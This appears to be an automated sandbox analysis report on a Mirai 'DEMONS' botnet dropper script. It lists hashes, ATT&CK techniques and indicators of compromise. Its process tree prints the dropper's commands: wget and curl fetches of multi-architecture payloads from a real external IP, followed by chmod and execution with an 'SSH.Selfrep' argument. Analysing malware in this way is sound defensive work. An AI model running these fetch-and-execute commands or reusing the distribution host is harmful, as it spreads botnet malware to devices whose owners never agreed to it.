mirai | e60ffba5989232a11be2a879fef11d0ad899d96a00d0173828c80c4f12e9688f

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/03/2025, 12:41

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General

Target

0x83911d24Fx.sh
Size

2KB
MD5

6aea9de4b1853e6a5cea8ad020f48398
SHA1

20e44372765f05e6899aa9bd7e4d9ff64f59c2f7
SHA256

e60ffba5989232a11be2a879fef11d0ad899d96a00d0173828c80c4f12e9688f
SHA512

4cb78d553f9ae66e591534a047163ba9db0e54261266c700be091b4ddfe773de2e194f3b80916d40830d1d26f6a76912191fd01858922599fa2b88ca0c70d5a2

Score

10^/10

mirai demons botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

DEMONS

Extracted

Family

mirai

Botnet

DEMONS

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
776	chmod
852	chmod
862	chmod
883	chmod
904	chmod
756	chmod
845	chmod
869	chmod
876	chmod
890	chmod
897	chmod
743	chmod
750	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/x	744	0x83911d24Fx.sh
/tmp/x	751	0x83911d24Fx.sh
/tmp/x	757	0x83911d24Fx.sh
/tmp/x	777	0x83911d24Fx.sh
/tmp/x	846	0x83911d24Fx.sh
/tmp/x	853	0x83911d24Fx.sh
/tmp/x	863	0x83911d24Fx.sh
/tmp/x	870	0x83911d24Fx.sh
/tmp/x	877	0x83911d24Fx.sh
/tmp/x	884	0x83911d24Fx.sh
/tmp/x	891	0x83911d24Fx.sh
/tmp/x	898	0x83911d24Fx.sh
/tmp/x	905	0x83911d24Fx.sh

Modifies Watchdog functionality 1 TTPs 22 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/misc/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/watchdog	x
File opened for modification	/dev/misc/watchdog	x

Enumerates active TCP sockets 1 TTPs 10 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x

Writes file to system bin folder 11 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x
File opened for modification	/sbin/watchdog	x

Changes its process name 11 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	lGbPzDMcHGPGg^	757	x
Changes the process name, possibly in an attempt to hide itself	Gz}gGG^~zScS[[	777	x
Changes the process name, possibly in an attempt to hide itself	gg}lB^Gr]KDD`Dg	846	x
Changes the process name, possibly in an attempt to hide itself	^`IPGiIpfl\`^	853	x
Changes the process name, possibly in an attempt to hide itself	`DMHgPy*SMbDGIfg	863	x
Changes the process name, possibly in an attempt to hide itself	`Gb^*PkgD}	870	x
Changes the process name, possibly in an attempt to hide itself	lbH*y^c[gpr}c[G\	877	x
Changes the process name, possibly in an attempt to hide itself	^l~Kz]\BHz[	884	x
Changes the process name, possibly in an attempt to hide itself	`kS`Xb\^SBg`	891	x
Changes the process name, possibly in an attempt to hide itself	gr`[lgP	898	x
Changes the process name, possibly in an attempt to hide itself	yfp^^k~\GMiP`f	905	x

Reads system network configuration 1 TTPs 10 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x
File opened for reading	/proc/net/tcp	x

Reads runtime system information 13 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
746	wget
748	curl
749	cat

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/uYtea.x86_64	wget
File opened for modification	/tmp/uYtea.x86_64	curl
File opened for modification	/tmp/x	0x83911d24Fx.sh
File opened for modification	/tmp/uYtea.arm5	curl
File opened for modification	/tmp/uYtea.arm7	wget
File opened for modification	/tmp/uYtea.sh4	wget
File opened for modification	/tmp/uYtea.arc	wget
File opened for modification	/tmp/uYtea.mips	wget
File opened for modification	/tmp/uYtea.mips	curl
File opened for modification	/tmp/uYtea.mpsl	wget
File opened for modification	/tmp/uYtea.arm6	wget
File opened for modification	/tmp/uYtea.m68k	curl
File opened for modification	/tmp/uYtea.spc	wget
File opened for modification	/tmp/uYtea.arc	curl
File opened for modification	/tmp/uYtea.x86	curl
File opened for modification	/tmp/uYtea.mpsl	curl
File opened for modification	/tmp/uYtea.arm	curl
File opened for modification	/tmp/uYtea.arm5	wget
File opened for modification	/tmp/uYtea.arm6	curl
File opened for modification	/tmp/uYtea.arm7	curl
File opened for modification	/tmp/uYtea.ppc	curl
File opened for modification	/tmp/uYtea.spc	curl
File opened for modification	/tmp/uYtea.x86	wget
File opened for modification	/tmp/uYtea.arm	wget
File opened for modification	/tmp/uYtea.ppc	wget
File opened for modification	/tmp/uYtea.m68k	wget
File opened for modification	/tmp/uYtea.sh4	curl

/tmp/0x83911d24Fx.sh
/tmp/0x83911d24Fx.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:717
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.x86
  2⤵
  - Writes file to tmp directory
  PID:721
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/cat
  cat uYtea.x86
  2⤵
  PID:742
- /bin/chmod
  chmod +x 0x83911d24Fx.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-U1lFCl uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  PID:744
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/cat
  cat uYtea.mips
  2⤵
  - System Network Configuration Discovery
  PID:749
- /bin/chmod
  chmod +x 0x83911d24Fx.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-U1lFCl uYtea.mips uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  PID:751
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.mpsl
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/cat
  cat uYtea.mpsl
  2⤵
  PID:755
- /bin/chmod
  chmod +x 0x83911d24Fx.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-U1lFCl uYtea.mips uYtea.mpsl uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:757
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.arm
  2⤵
  - Writes file to tmp directory
  PID:759
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x 0x83911d24Fx.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-U1lFCl uYtea.arm uYtea.mips uYtea.mpsl uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:777
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.arm5
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod +x 0x83911d24Fx.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-U1lFCl uYtea.arm uYtea.arm5 uYtea.mips uYtea.mpsl uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:846
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.arm6
  2⤵
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod +x 0x83911d24Fx.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-U1lFCl uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.mips uYtea.mpsl uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:853
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.arm7
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod +x 0x83911d24Fx.sh uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.arm7 uYtea.mips uYtea.mpsl uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:863
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.ppc
  2⤵
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod +x 0x83911d24Fx.sh uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.arm7 uYtea.mips uYtea.mpsl uYtea.ppc uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:870
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.m68k
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod +x 0x83911d24Fx.sh uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.arm7 uYtea.m68k uYtea.mips uYtea.mpsl uYtea.ppc uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:877
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.sh4
  2⤵
  - Writes file to tmp directory
  PID:879
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod +x 0x83911d24Fx.sh uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.arm7 uYtea.m68k uYtea.mips uYtea.mpsl uYtea.ppc uYtea.sh4 uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:884
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.spc
  2⤵
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod +x 0x83911d24Fx.sh uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.arm7 uYtea.m68k uYtea.mips uYtea.mpsl uYtea.ppc uYtea.sh4 uYtea.spc uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:891
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.arc
  2⤵
  - Writes file to tmp directory
  PID:893
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod +x 0x83911d24Fx.sh uYtea.arc uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.arm7 uYtea.m68k uYtea.mips uYtea.mpsl uYtea.ppc uYtea.sh4 uYtea.spc uYtea.x86 x
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:898
- /usr/bin/wget
  wget http://176.100.37.236/LjEZs/uYtea.x86_64
  2⤵
  - Writes file to tmp directory
  PID:900
- /usr/bin/curl
  curl -O http://176.100.37.236/LjEZs/uYtea.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/chmod
  chmod +x 0x83911d24Fx.sh uYtea.arc uYtea.arm uYtea.arm5 uYtea.arm6 uYtea.arm7 uYtea.m68k uYtea.mips uYtea.mpsl uYtea.ppc uYtea.sh4 uYtea.spc uYtea.x86 uYtea.x86_64 x
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/x
  ./x SSH.Selfrep
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:905

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/uYtea.x86

Filesize
54KB

MD5
e8ee0839bb7869765d80e4280d585222

SHA1
e0aa7ad73b70d2fbd0f8f4ca2d5ca417c6e36538

SHA256
34537b3ae42d5d93060f42ccd019a8e976290a01b0380e6688a2dfa1515cd1a6

SHA512
a3570f2617a4ed149c1a8a8a396a2d0522c09551ab54ef7c7b882c71b66ac3cd9246e552b6acaceeb2585c337bee9e471af729dee5a08f9a491ab14a6c72f02b

Download Submit
/tmp/x

Filesize
75KB

MD5
e22278172a0f989dcd639152d1f7bdda

SHA1
5ef82abd4a65994779ed81263e4495aa2a1fc0a0

SHA256
c21056260e2db4b9f6dc025dfa6286ef2865b3b4f43a4633a7653499b63f20d3

SHA512
686e0967c54a58d086e279d2b3d3aedbc604221b802c2fbf2ec4d55acc681eefcbf1edd236828c257350d5f75694d0dd4a98d35c8e7fa247ebe1dc4bc211e74e

Download Submit
/tmp/x

Filesize
75KB

MD5
d40b08390f13aa89c14e0fedff56e41f

SHA1
7f5f215fef320e6677f9490dff7732d46f157af9

SHA256
10a4c1b8a7106008acb65a31ab3d078f7b056eb30e4397f8b7a09b39855d23ea

SHA512
e385eb0f4a06f0264bc5f0b95ffb83673834e3ffb267f947c264f2ccb5017bdee416b6e7c158ed1ef066d14f26eddc7426ab0313fc4de4948fbefb51637be7a6

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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